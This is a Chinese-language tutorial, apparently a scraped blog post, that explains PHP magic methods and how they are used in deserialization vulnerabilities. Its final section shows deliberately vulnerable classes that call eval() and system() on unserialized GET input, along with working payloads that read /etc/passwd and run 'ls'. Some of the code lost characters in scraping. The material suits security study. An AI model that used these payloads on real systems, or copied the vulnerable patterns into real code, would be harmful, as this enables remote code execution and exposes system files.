电商建设网站,6黄页网站建设,wordpress 时间轴页面,百度免费网站空间一、魔术方法
PHP魔术方法#xff08;Magic Methods#xff09;是一组特殊的方法#xff0c;它们在特定的情况下会被自动调用#xff0c;用于实现对象的特殊行为或提供额外功能。这些方法的名称都以双下划线开头和结尾#xff0c;例如: __construct()、__toString()等。 …一、魔术方法
PHP魔术方法Magic Methods是一组特殊的方法它们在特定的情况下会被自动调用用于实现对象的特殊行为或提供额外功能。这些方法的名称都以双下划线开头和结尾例如: __construct()、__toString()等。
魔术方法可以帮助我们实现一些特殊的行为例如对象的初始化、属性的访问控制、对象的转换等。通过合理利用魔术方法我们可以增强PHP对象的灵活性和功能性。
二、PHP魔术方法详解
学习魔术方法需要去熟悉每一个魔术方法的触发时机这一点是在学习 PHP 反序列化漏洞中最重要的如果不知道什么时候出发魔术方法就无法去构造POP链其次需要了解每个魔术方法的参数列表和返回值类型下面详细介绍 PHP 中的魔术方法。
魔术方法触发时机__construct()类的构造函数在类实例化对象时自动调用构造函数__destruct()类的析构函数在对象销毁之前自动调用析构函数__sleep()在对象被序列化使用 serialize() 函数之前自动调用可以在此方法中指定需要被序列化的属性返回一个包含对象中所有应被序列化的变量名称的数组__wakeup()在对象被反序列化使用 unserialize() 函数之前自动调用可以在此方法中重新初始化对象状态。__set($property, $value)当给一个对象的不存在或不可访问(private修饰)的属性赋值时自动调用传递属性名和属性值作为参数。__get($property)当访问一个对象的不存在或不可访问的属性时自动调用传递属性名作为参数。__isset($property)当对一个对象的不存在或不可访问的属性使用 isset() 或 empty() 函数时自动调用传递属性名作为参数。__unset($property)当对一个对象的不存在或不可访问的属性使用 unset() 函数时自动调用传递属性名作为参数。__call($method, $arguments)调用不存在或不可见的成员方法时PHP会先调用__call()方法来存储方法名及其参数__callStatic($method, $arguments)当调用一个静态方法中不存在的方法时自动调用传递方法名和参数数组作为参数。__toString()当使用echo或print输出对象将对象转化为字符串形式时会调用__toString()方法__invoke()当将一个对象作为函数进行调用时自动调用。__clone()当使用 clone 关键字复制一个对象时自动调用。__set_state($array)在使用 var_export() 导出类时自动调用用于返回一个包含类的静态成员的数组。__debugInfo()在使用 var_dump() 打印对象时自动调用用于自定义对象的调试信息。
1、__construct()
构造函数__construct()在实例化一个对象的时候首先会去自动执行该方法
?php
class User {public $username;public function __construct($username) {$this-username $username;echo 触发了构造函数1次 ;}
}
$test new User(benben); //实例化对象时触发构造函数__construct()
$ser serialize($test); //在序列化和反序列化过程中不会触发构造函数
unserialize($ser);
?2、__destruct()
析构函数__destruct()在对象的所有引用被删除或者当对象被显式销毁时执行的魔术方法
?php
class User {public function __destruct(){echo 触发了析构函数1次;}
}
$test new User(benben); //实例化对象结束后代码运行完会销毁触发析构函数_destruct()
$ser serialize($test); //在序列化过程中不会触发
unserialize($ser); //在反序列化过程中会触发反序列化得到的是对象用完后会销毁触发析构函数_destruct()
?以上代码总共触发两次析构函数第一次为实例化对象后代码运行完会对象会被销毁触发析构函数_destruct()第二次在反序列化过程中会触发反序列化得到的是对象用完后会销毁触发析构函数_destruct() 3、__sleep()
在进行序列化时serialize()函数会检查类中是否存在一个魔术方法__sleep()。如果存在该方法会先被调用可以在此方法中指定需要被序列化的属性返回一个包含对象中所有应被序列化的变量名称的数组。然后才执行序列化操作。
此功能可以用于清理对象并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容则 NULL 被序列化并产生一个 E_NOTICE级别的错误。
?php
class User {const SITE uusama;public $username;public $nickname;private $password;public function __construct($username, $nickname, $password) {$this-username $username;$this-nickname $nickname;$this-password $password;}public function __sleep() {return array(username, nickname); //sleep执行返回需要序列化的属性名过滤掉password变量}
}
$user new User(a, b, c);
echo serialize($user); //serialize()只序列化sleep返回的变量序列化之后的字符串O:4:User:2:{s:8:username;s:1:a;s:8:nickname;s:1:b;}
//
?4、__weakup()
在进行反序列化时unserialize()函数会检查是否存在一个__wakeup()方法。如果存在则会先调用__wakeup()方法。可以在此方法中重新初始化对象状态。
?php
class User {const SITE uusama;public $username;public $nickname;private $password;private $order;public function __wakeup() {$this-password $this-username; //反序列化之前触发_wakeup(),给password赋值}
}
$user_ser O:4:User:2:{s:8:username;s:1:a;s:8:nickname;s:1:b;}; // 字符串中并没有password
var_dump(unserialize($user_ser)); // object(User)#1 (4) { [username] string(1) a [nickname] string(1) b [password:User:private] string(1) a [order:User:private] NULL }
?__wakeup()在反序列化unserialize()之前被调用 __destruct()在反序列化unserialize()之后被调用 5、__toString()
当使用echo或print输出对象将对象转化为字符串形式或者将一个“对象”与“字符串”进行拼接时会调用__toString()方法
?php
class User {var $benben this is test!!;public function __toString(){return 格式不对输出不了!;}
}
$test new User() ; // 把类User实体化并赋值给$test此时$test是个对象
print_r($test); // 打印输出对象可以使用print_r或者var_dump该对象输出后为User Object( [benben] this is test!!)
echo $test; // 如果使用echo或者print只能调用字符串的方式去调用对象即把对象当成字符串使用此时自动触发toString()
?6、__invoke()
当将一个对象作为函数进行调用时会触发__invoke()函数。
?php
class User {var $benben this is test!!;public function __invoke(){echo 它不是个函数!;}
}
$test new User() ; //把类User实例化为对象并赋值给$test
echo $test -benben; //正常输出对象里的值benben
$test(); //加()是把test当成函数test()来调用此时触发_invoke()
?7、__call()
当调用不存在或不可见的成员方法时PHP会先调用__call()方法来存储方法名及其参数。
?php
class User {public function __call($arg1,$arg2){echo $arg1,$arg2[0];}
}
$test new User() ;
$test - callxxx(a,b,c); //调用的方法callxxx()不存在,触发魔术方法call(),传参(callxxx,a);$arg1:调用的不存在的方法的名称;$arg2:调用的不存在的方法的参数
?__call(string $function_name, array $arguments)该方法有两个参数第一个参数 $function_name 会自动接收不存在的方法名第二个 $arguments 则以数组的方式接收不存在方法的多个参数。 8、__callStatic()
当调用不存在或不可见的静态方法时会自动调用__callStatic()方法传递方法名和参数数组作为参数。
?php
class User {public static function __callStatic($arg1,$arg2){echo $arg1,$arg2[0];}
}
$test new User() ;
$test::callxxx(a); //静态调用使用::静态调用方法callxxx()由于其不存在所以触发__callStatic传参(callxxx,a)输出callxxx,a
?9、__set()
__set($name, $value)函数给一个对象的不存在或不可访问(private修饰)的属性赋值时PHP就会执行__set()方法。__set()方法包含两个参数$name表示变量名称$value表示变量值两个参数不可省略。
?php
class User {public $var1;public function __set($arg1 ,$arg2){echo $arg1.,.$arg2;}
}
$test new User() ;
$test-var21; //给不存在的成员属性var2赋值为1自动触发__set()方法如果有__get(),先调用__get(),再调用__set()输出var2,1
?10、__get()
__get($name)函数当程序访问一个未定义或不可见的成员变量时PHP就会执行 __get()方法来读取变量值。__get()方法有一个参数表示要调用的变量名。
?php
class User {public $var1;public function __get($arg1){echo $arg1;}
}
$test new User() ;
$test -var2; //调用的成员属性var2不存在触发__get(),把不存在的属性的名称var2赋值给$arg1输出var2
?11、__isset()
当对一个对象的不存在或不可访问的属性使用 isset() 或 empty() 函数时自动调用传递属性名作为参数。
?phpclass User {private $var;public function __isset($arg1){echo $arg1;}}
$test new User() ;
isset($test-var); // 调用的成员属性var不可访问并对其使用isset()函数或empty()函数触发__isset()输出var
?12、__unset()
当对一个对象的不存在或不可访问的属性使用 unset() 函数时自动调用传递属性名作为参数。
?phpclass User {private $var;public function __unset($arg1 ){echo $arg1;}}
$test new User() ;
unset($test-var); // 调用的成员属性var不可访问并对其使用unset()函数触发__unset()输出var
?13、__clone()
当使用 clone 关键字复制一个对象时自动调用。
?phpclass User {private $var;public function __clone( ){echo __clone test;}}
$test new User() ;
$newclass clone($test) // __clone test
?三、魔术方法漏洞利用示例
1、__destruct()漏洞利用
?php
class User {var $cmd echo dazhuang666!!; ;public function __destruct(){eval($this-cmd);}
}
$ser $_GET[benben];
unserialize($ser); //反序列化触发_destruct()destruct()执行eval(),eval()触发代码
?以上代码在反序列化之后会触发__destruct()魔术方法该方法中有命令执行函数eval()又因为反序列化生成的对象里的值由反序列化里的值提供与原有类预定义的值无关所以我们在序列化字符串中重新给$cmd赋值例如$cmdsystem(cat /etc/passwd); 这样在反序列化之后会去执行eval()函数从而触发代码执行。这只是最简单的反序列化漏洞利用方式旨在理解如何去利用反序列化去触发代码执行。
// payload
?benbenO:4:User:1:{s:3:cmd;s:26:system(cat /etc/passwd);;}2、__wakeup()漏洞利用
?php
class User {const SITE uusama;public $username;public $nickname;private $password;private $order;public function __wakeup() {system($this-username);}
}
$user_ser $_GET[benben];
unserialize($user_ser);
? 和上一题__destruct()漏洞利用方式类似在反序列化之前会触发__wakeup()该函数中有执行系统命令的system()函数他去执行对象的username属性所以我们在序列化字符串中让username的值为系统命令即可。
// payload:
?benbenO:4:User:1:{s:8:username;s:2:ls;} 以上知识总结来自橙子科技php反序列化漏洞学习并结合自己的理解。